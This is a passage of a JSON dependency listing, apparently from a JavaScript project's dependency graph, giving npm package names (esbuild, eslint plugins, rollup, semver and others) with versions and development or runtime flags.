npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":6994684982,"package_name":"end-of-stream","ecosystem":"npm","requirements":"1.4.4","direct":false,"kind":"development","optional":false},{"id":6994684983,"package_name":"enhanced-resolve","ecosystem":"npm","requirements":"5.10.0","direct":false,"kind":"development","optional":false},{"id":6994684984,"package_name":"env-string","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994684985,"package_name":"error-ex","ecosystem":"npm","requirements":"1.3.2","direct":false,"kind":"development","optional":false},{"id":6994684986,"package_name":"es-abstract","ecosystem":"npm","requirements":"1.19.1","direct":false,"kind":"development","optional":false},{"id":6994684987,"package_name":"es-to-primitive","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":6994684988,"package_name":"esbuild-android-64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994684989,"package_name":"esbuild-android-arm64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994684990,"package_name":"esbuild-darwin-64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994684991,"package_name":"esbuild-darwin-arm64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994684992,"package_name":"esbuild-freebsd-64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994684993,"package_name":"esbuild-freebsd-arm64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994684994,"package_name":"esbuild-linux-32","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994684995,"package_name":"esbuild-linux-64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994684996,"package_name":"esbuild-linux-arm","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994684997,"package_name":"esbuild-linux-arm64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994684998,"package_name":"esbuild-linux-mips64le","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994684999,"package_name":"esbuild-linux-ppc64le","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994685000,"package_name":"esbuild-linux-riscv64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994685001,"package_name":"esbuild-linux-s390x","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994685002,"package_name":"esbuild-netbsd-64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994685003,"package_name":"esbuild-openbsd-64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994685004,"package_name":"esbuild-sunos-64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994685005,"package_name":"esbuild-windows-32","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994685006,"package_name":"esbuild-windows-64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994685007,"package_name":"esbuild-windows-arm64","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994685009,"package_name":"esbuild","ecosystem":"npm","requirements":"0.15.18","direct":false,"kind":"development","optional":false},{"id":6994685010,"package_name":"esbuild","ecosystem":"npm","requirements":"0.16.17","direct":false,"kind":"development","optional":false},{"id":6994685011,"package_name":"escalade","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":6994685012,"package_name":"escape-html","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":6994685013,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":6994685014,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":6994685015,"package_name":"eslint-config-prettier","ecosystem":"npm","requirements":"8.5.0_eslint@8.32.0","direct":false,"kind":"development","optional":false},{"id":6994685016,"package_name":"eslint-config-standard","ecosystem":"npm","requirements":"17.0.0_juyag75ksouagmfi7g3kmgwnkm","direct":false,"kind":"development","optional":false},{"id":6994685017,"package_name":"eslint-config-unjs","ecosystem":"npm","requirements":"0.0.3_7uibuqfxkfaozanbtbziikiqje","direct":false,"kind":"development","optional":false},{"id":6994685018,"package_name":"eslint-import-resolver-node","ecosystem":"npm","requirements":"0.3.6","direct":false,"kind":"development","optional":false},{"id":6994685020,"package_name":"eslint-import-resolver-typescript","ecosystem":"npm","requirements":"3.5.0_kornzrmzxylufiu5zotgc4cisa","direct":false,"kind":"development","optional":false},{"id":6994685021,"package_name":"eslint-module-utils","ecosystem":"npm","requirements":"2.7.3_557a6ieby6o22fltd5pqi5vjdq","direct":false,"kind":"development","optional":false},{"id":6994685023,"package_name":"eslint-plugin-es","ecosystem":"npm","requirements":"3.0.1_eslint@8.32.0","direct":false,"kind":"development","optional":false},{"id":6994685026,"package_name":"eslint-plugin-es","ecosystem":"npm","requirements":"4.1.0_eslint@8.32.0","direct":false,"kind":"development","optional":false},{"id":6994685027,"package_name":"eslint-plugin-import","ecosystem":"npm","requirements":"2.26.0_wf7htbzimrs64zeyiqbsme7icq","direct":false,"kind":"development","optional":false},{"id":6994685029,"package_name":"eslint-plugin-n","ecosystem":"npm","requirements":"15.2.5_eslint@8.32.0","direct":false,"kind":"development","optional":false},{"id":6994685031,"package_name":"eslint-plugin-node","ecosystem":"npm","requirements":"11.1.0_eslint@8.32.0","direct":false,"kind":"development","optional":false},{"id":6994685032,"package_name":"eslint-plugin-promise","ecosystem":"npm","requirements":"6.0.1_eslint@8.32.0","direct":false,"kind":"development","optional":false},{"id":6994685033,"package_name":"eslint-plugin-unicorn","ecosystem":"npm","requirements":"43.0.2_eslint@8.32.0","direct":false,"kind":"development","optional":false},{"id":6994685034,"package_name":"eslint-scope","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"development","optional":false},{"id":6994685035,"package_name":"eslint-scope","ecosystem":"npm","requirements":"7.1.1","direct":false,"kind":"development","optional":false},{"id":6994685036,"package_name":"eslint-utils","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":6994685037,"package_name":"eslint-utils","ecosystem":"npm","requirements":"3.0.0_eslint@8.32.0","direct":false,"kind":"development","optional":false},{"id":6994685200,"package_name":"jiti","ecosystem":"npm","requirements":"1.16.2","direct":false,"kind":"development","optional":false},{"id":6994685201,"package_name":"js-sdsl","ecosystem":"npm","requirements":"4.1.4","direct":false,"kind":"development","optional":false},{"id":6994685252,"package_name":"mimic-fn","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":6994685258,"package_name":"mimic-fn","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":6994685259,"package_name":"min-indent","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685260,"package_name":"minimalistic-assert","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685261,"package_name":"minimalistic-crypto-utils","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685262,"package_name":"minimatch","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"development","optional":false},{"id":6994685263,"package_name":"minimatch","ecosystem":"npm","requirements":"5.1.0","direct":false,"kind":"development","optional":false},{"id":6994685264,"package_name":"minimist","ecosystem":"npm","requirements":"1.2.6","direct":false,"kind":"development","optional":false},{"id":6994685265,"package_name":"minipass","ecosystem":"npm","requirements":"2.9.0","direct":false,"kind":"development","optional":false},{"id":6994685266,"package_name":"minizlib","ecosystem":"npm","requirements":"1.3.3","direct":false,"kind":"development","optional":false},{"id":6994685267,"package_name":"mkdirp-classic","ecosystem":"npm","requirements":"0.5.3","direct":false,"kind":"development","optional":false},{"id":6994685268,"package_name":"mkdirp","ecosystem":"npm","requirements":"0.5.6","direct":false,"kind":"development","optional":false},{"id":6994685270,"package_name":"mkdirp","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":6994685291,"package_name":"mkdist","ecosystem":"npm","requirements":"1.1.0_typescript@4.9.4","direct":false,"kind":"development","optional":false},{"id":6994685292,"package_name":"mlly","ecosystem":"npm","requirements":"0.5.16","direct":false,"kind":"development","optional":false},{"id":6994685293,"package_name":"mlly","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":6994685294,"package_name":"module-deps","ecosystem":"npm","requirements":"6.2.3","direct":false,"kind":"development","optional":false},{"id":6994685295,"package_name":"morphdom","ecosystem":"npm","requirements":"2.6.1","direct":false,"kind":"development","optional":false},{"id":6994685298,"package_name":"mri","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":6994685301,"package_name":"ms","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685303,"package_name":"ms","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"development","optional":false},{"id":6994685305,"package_name":"ms","ecosystem":"npm","requirements":"2.1.3","direct":false,"kind":"development","optional":false},{"id":6994685307,"package_name":"mutexify","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":6994685310,"package_name":"nanoassert","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":6994685313,"package_name":"nanobench","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":6994685314,"package_name":"nanohtml","ecosystem":"npm","requirements":"1.9.1","direct":false,"kind":"development","optional":false},{"id":6994685320,"package_name":"nanoid","ecosystem":"npm","requirements":"3.3.4","direct":false,"kind":"development","optional":false},{"id":6994685321,"package_name":"natural-compare","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":6994685322,"package_name":"negotiator","ecosystem":"npm","requirements":"0.6.3","direct":false,"kind":"development","optional":false},{"id":6994685323,"package_name":"no-case","ecosystem":"npm","requirements":"2.3.2","direct":false,"kind":"development","optional":false},{"id":6994685325,"package_name":"node-fetch-native","ecosystem":"npm","requirements":"0.1.8","direct":false,"kind":"development","optional":false},{"id":6994685328,"package_name":"node-fetch-native","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685331,"package_name":"node-forge","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"development","optional":false},{"id":6994685333,"package_name":"node-releases","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"development","optional":false},{"id":6994685334,"package_name":"normalize-html-whitespace","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"development","optional":false},{"id":6994685338,"package_name":"normalize-package-data","ecosystem":"npm","requirements":"2.5.0","direct":false,"kind":"development","optional":false},{"id":6994685340,"package_name":"npm-run-path","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"development","optional":false},{"id":6994685343,"package_name":"npm-run-path","ecosystem":"npm","requirements":"5.1.0","direct":false,"kind":"development","optional":false},{"id":6994685345,"package_name":"number-is-nan","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685346,"package_name":"object-assign","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"development","optional":false},{"id":6994685348,"package_name":"object-inspect","ecosystem":"npm","requirements":"1.12.0","direct":false,"kind":"development","optional":false},{"id":6994685350,"package_name":"object-keys","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":6994685352,"package_name":"object.assign","ecosystem":"npm","requirements":"4.1.2","direct":false,"kind":"development","optional":false},{"id":6994685354,"package_name":"object.values","ecosystem":"npm","requirements":"1.1.5","direct":false,"kind":"development","optional":false},{"id":6994685357,"package_name":"on-finished","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"development","optional":false},{"id":6994685358,"package_name":"on-finished","ecosystem":"npm","requirements":"2.4.1","direct":false,"kind":"development","optional":false},{"id":6994685359,"package_name":"on-net-listen","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":6994685360,"package_name":"once","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":6994685361,"package_name":"onetime","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":6994685362,"package_name":"onetime","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":6994685363,"package_name":"open","ecosystem":"npm","requirements":"8.4.0","direct":false,"kind":"development","optional":false},{"id":6994685364,"package_name":"opn","ecosystem":"npm","requirements":"5.5.0","direct":false,"kind":"development","optional":false},{"id":6994685365,"package_name":"optionator","ecosystem":"npm","requirements":"0.9.1","direct":false,"kind":"development","optional":false},{"id":6994685366,"package_name":"os-browserify","ecosystem":"npm","requirements":"0.3.0","direct":false,"kind":"development","optional":false},{"id":6994685367,"package_name":"p-limit","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"development","optional":false},{"id":6994685368,"package_name":"p-limit","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"development","optional":false},{"id":6994685369,"package_name":"p-limit","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":6994685370,"package_name":"p-locate","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685371,"package_name":"p-locate","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":6994685372,"package_name":"p-locate","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":6994685373,"package_name":"p-try","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685374,"package_name":"p-try","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"development","optional":false},{"id":6994685375,"package_name":"pako","ecosystem":"npm","requirements":"1.0.11","direct":false,"kind":"development","optional":false},{"id":6994685376,"package_name":"parent-module","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685377,"package_name":"parents","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685378,"package_name":"parse-asn1","ecosystem":"npm","requirements":"5.1.6","direct":false,"kind":"development","optional":false},{"id":6994685379,"package_name":"parse-json","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"development","optional":false},{"id":6994685380,"package_name":"parseurl","ecosystem":"npm","requirements":"1.3.3","direct":false,"kind":"development","optional":false},{"id":6994685381,"package_name":"path-browserify","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685382,"package_name":"path-exists","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685383,"package_name":"path-exists","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":6994685384,"package_name":"path-is-absolute","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685385,"package_name":"path-key","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":6994685386,"package_name":"path-key","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":6994685387,"package_name":"path-parse","ecosystem":"npm","requirements":"1.0.7","direct":false,"kind":"development","optional":false},{"id":6994685388,"package_name":"path-platform","ecosystem":"npm","requirements":"0.11.15","direct":false,"kind":"development","optional":false},{"id":6994685389,"package_name":"path-to-regexp","ecosystem":"npm","requirements":"0.1.7","direct":false,"kind":"development","optional":false},{"id":6994685390,"package_name":"path-type","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":6994685391,"package_name":"pathe","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"development","optional":false},{"id":6994685392,"package_name":"pathe","ecosystem":"npm","requirements":"0.3.9","direct":false,"kind":"development","optional":false},{"id":6994685393,"package_name":"pathe","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685394,"package_name":"pathval","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":6994685395,"package_name":"pbkdf2","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"development","optional":false},{"id":6994685396,"package_name":"picocolors","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685397,"package_name":"picomatch","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"development","optional":false},{"id":6994685398,"package_name":"pkg-types","ecosystem":"npm","requirements":"0.3.6","direct":false,"kind":"development","optional":false},{"id":6994685399,"package_name":"pkg-types","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685401,"package_name":"pluralize","ecosystem":"npm","requirements":"8.0.0","direct":false,"kind":"development","optional":false},{"id":6994685402,"package_name":"postcss","ecosystem":"npm","requirements":"8.4.18","direct":false,"kind":"development","optional":false},{"id":6994685404,"package_name":"prelude-ls","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":6994685408,"package_name":"prettier","ecosystem":"npm","requirements":"2.8.3","direct":false,"kind":"development","optional":false},{"id":6994685411,"package_name":"pretty-bytes","ecosystem":"npm","requirements":"5.6.0","direct":false,"kind":"development","optional":false},{"id":6994685413,"package_name":"pretty-bytes","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":6994685416,"package_name":"pretty-hrtime","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":6994685418,"package_name":"process-nextick-args","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":6994685421,"package_name":"process","ecosystem":"npm","requirements":"0.11.10","direct":false,"kind":"development","optional":false},{"id":6994685439,"package_name":"progress","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"development","optional":false},{"id":6994685441,"package_name":"proxy-addr","ecosystem":"npm","requirements":"2.0.7","direct":false,"kind":"development","optional":false},{"id":6994685443,"package_name":"public-encrypt","ecosystem":"npm","requirements":"4.0.3","direct":false,"kind":"development","optional":false},{"id":6994685445,"package_name":"pump","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685447,"package_name":"pumpify","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":6994685450,"package_name":"punycode","ecosystem":"npm","requirements":"1.3.2","direct":false,"kind":"development","optional":false},{"id":6994685452,"package_name":"punycode","ecosystem":"npm","requirements":"1.4.1","direct":false,"kind":"development","optional":false},{"id":6994685453,"package_name":"punycode","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":6994685455,"package_name":"qs","ecosystem":"npm","requirements":"6.11.0","direct":false,"kind":"development","optional":false},{"id":6994685457,"package_name":"querystring-es3","ecosystem":"npm","requirements":"0.2.1","direct":false,"kind":"development","optional":false},{"id":6994685459,"package_name":"querystring","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"development","optional":false},{"id":6994685461,"package_name":"queue-microtask","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"development","optional":false},{"id":6994685463,"package_name":"queue-tick","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685465,"package_name":"radix3","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":6994685467,"package_name":"randombytes","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":6994685492,"package_name":"randomfill","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":6994685495,"package_name":"range-parser","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":6994685497,"package_name":"raw-body","ecosystem":"npm","requirements":"2.5.1","direct":false,"kind":"development","optional":false},{"id":6994685499,"package_name":"rc9","ecosystem":"npm","requirements":"1.2.2","direct":false,"kind":"development","optional":false},{"id":6994685501,"package_name":"read-only-stream","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685503,"package_name":"read-pkg-up","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"development","optional":false},{"id":6994685505,"package_name":"read-pkg","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"development","optional":false},{"id":6994685507,"package_name":"readable-stream","ecosystem":"npm","requirements":"2.3.7","direct":false,"kind":"development","optional":false},{"id":6994685508,"package_name":"readable-stream","ecosystem":"npm","requirements":"3.6.0","direct":false,"kind":"development","optional":false},{"id":6994685510,"package_name":"regexp-tree","ecosystem":"npm","requirements":"0.1.24","direct":false,"kind":"development","optional":false},{"id":6994685512,"package_name":"regexpp","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"development","optional":false},{"id":6994685514,"package_name":"reinterval","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":6994685516,"package_name":"require-directory","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":6994685517,"package_name":"require-from-string","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":6994685519,"package_name":"resolve-from","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":6994685521,"package_name":"resolve","ecosystem":"npm","requirements":"1.22.1","direct":false,"kind":"development","optional":false},{"id":6994685523,"package_name":"retimer","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685525,"package_name":"reusify","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":6994685526,"package_name":"rimraf","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"development","optional":false},{"id":6994685528,"package_name":"ripemd160","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":6994685530,"package_name":"rollup-plugin-dts","ecosystem":"npm","requirements":"5.1.1_eymahajmafh3u7vrzmo7ylp2pa","direct":false,"kind":"development","optional":false},{"id":6994685532,"package_name":"rollup","ecosystem":"npm","requirements":"2.78.1","direct":false,"kind":"development","optional":false},{"id":6994685534,"package_name":"rollup","ecosystem":"npm","requirements":"3.10.0","direct":false,"kind":"development","optional":false},{"id":6994685536,"package_name":"run-parallel","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":6994685538,"package_name":"safe-buffer","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":6994685540,"package_name":"safe-buffer","ecosystem":"npm","requirements":"5.2.1","direct":false,"kind":"development","optional":false},{"id":6994685542,"package_name":"safe-regex","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":6994685543,"package_name":"safer-buffer","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"development","optional":false},{"id":6994685545,"package_name":"scule","ecosystem":"npm","requirements":"0.3.2","direct":false,"kind":"development","optional":false},{"id":6994685548,"package_name":"scule","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685550,"package_name":"semver","ecosystem":"npm","requirements":"5.7.1","direct":false,"kind":"development","optional":false},{"id":6994685552,"package_name":"semver","ecosystem":"npm","requirements":"6.3.0","direct":false,"kind":"development","optional":false},{"id":6994685553,"package_name":"semver","ecosystem":"npm","requirements":"7.3.7","direct":false,"kind":"development","optional":false},{"id":6994685555,"package_name":"semver","ecosystem":"npm","requirements":"7.3.8","direct":false,"kind":"development","optional":false},{"id":6994685557,"package_name":"send","ecosystem":"npm","requirements":"0.18.0","direct":false,"kind":"development","optional":false},{"id":6994685558,"package_name":"serve-static","ecosystem":"npm","requirements":"1.15.0","direct":false,"kind":"development","optional":false},{"id":6994685560,"package_name":"setprototypeof","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":6994685562,"package_name":"sha.js","ecosystem":"npm","requirements":"2.4.11","direct":false,"kind":"development","optional":false},{"id":6994685607,"package_name":"shasum-object","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685610,"package_name":"shebang-command","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685612,"package_name":"shebang-regex","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685614,"package_name":"shell-quote","ecosystem":"npm","requirements":"1.7.3","direct":false,"kind":"development","optional":false},{"id":6994685615,"package_name":"side-channel","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":6994685617,"package_name":"siginfo","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685619,"package_name":"signal-exit","ecosystem":"npm","requirements":"3.0.7","direct":false,"kind":"development","optional":false},{"id":6994685621,"package_name":"simple-concat","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685622,"package_name":"single-line-log","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":6994685624,"package_name":"slash","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685626,"package_name":"slash","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":6994685627,"package_name":"source-map-js","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":6994685629,"package_name":"source-map-support","ecosystem":"npm","requirements":"0.5.21","direct":false,"kind":"development","optional":false},{"id":6994685630,"package_name":"source-map","ecosystem":"npm","requirements":"0.5.7","direct":false,"kind":"development","optional":false},{"id":6994685631,"package_name":"source-map","ecosystem":"npm","requirements":"0.6.1","direct":false,"kind":"development","optional":false},{"id":6994685632,"package_name":"sourcemap-codec","ecosystem":"npm","requirements":"1.4.8","direct":false,"kind":"development","optional":false},{"id":6994685633,"package_name":"spdx-correct","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":6994685634,"package_name":"spdx-exceptions","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"development","optional":false},{"id":6994685635,"package_name":"spdx-expression-parse","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":6994685636,"package_name":"spdx-license-ids","ecosystem":"npm","requirements":"3.0.11","direct":false,"kind":"development","optional":false},{"id":6994685638,"package_name":"split2","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":6994685641,"package_name":"stackback","ecosystem":"npm","requirements":"0.0.2","direct":false,"kind":"development","optional":false},{"id":6994685642,"package_name":"statuses","ecosystem":"npm","requirements":"1.5.0","direct":false,"kind":"development","optional":false},{"id":6994685643,"package_name":"statuses","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":6994685644,"package_name":"stream-browserify","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685645,"package_name":"stream-combiner2","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":6994685646,"package_name":"stream-http","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"development","optional":false},{"id":6994685647,"package_name":"stream-shift","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685648,"package_name":"stream-splicer","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":6994685649,"package_name":"string-width","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":6994685650,"package_name":"string-width","ecosystem":"npm","requirements":"4.2.3","direct":false,"kind":"development","optional":false},{"id":6994685651,"package_name":"string.prototype.trimend","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":6994685652,"package_name":"string.prototype.trimstart","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":6994685653,"package_name":"string_decoder","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":6994685654,"package_name":"string_decoder","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"development","optional":false},{"id":6994685655,"package_name":"strip-ansi","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":6994685656,"package_name":"strip-ansi","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":6994685657,"package_name":"strip-bom","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685658,"package_name":"strip-final-newline","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685659,"package_name":"strip-final-newline","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685660,"package_name":"strip-indent","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685661,"package_name":"strip-json-comments","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":6994685662,"package_name":"strip-literal","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685663,"package_name":"subarg","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685664,"package_name":"superagent","ecosystem":"npm","requirements":"8.0.6","direct":false,"kind":"development","optional":false},{"id":6994685665,"package_name":"supertest","ecosystem":"npm","requirements":"6.3.3","direct":false,"kind":"development","optional":false},{"id":6994685666,"package_name":"supports-color","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685667,"package_name":"supports-color","ecosystem":"npm","requirements":"5.5.0","direct":false,"kind":"development","optional":false},{"id":6994685668,"package_name":"supports-color","ecosystem":"npm","requirements":"7.2.0",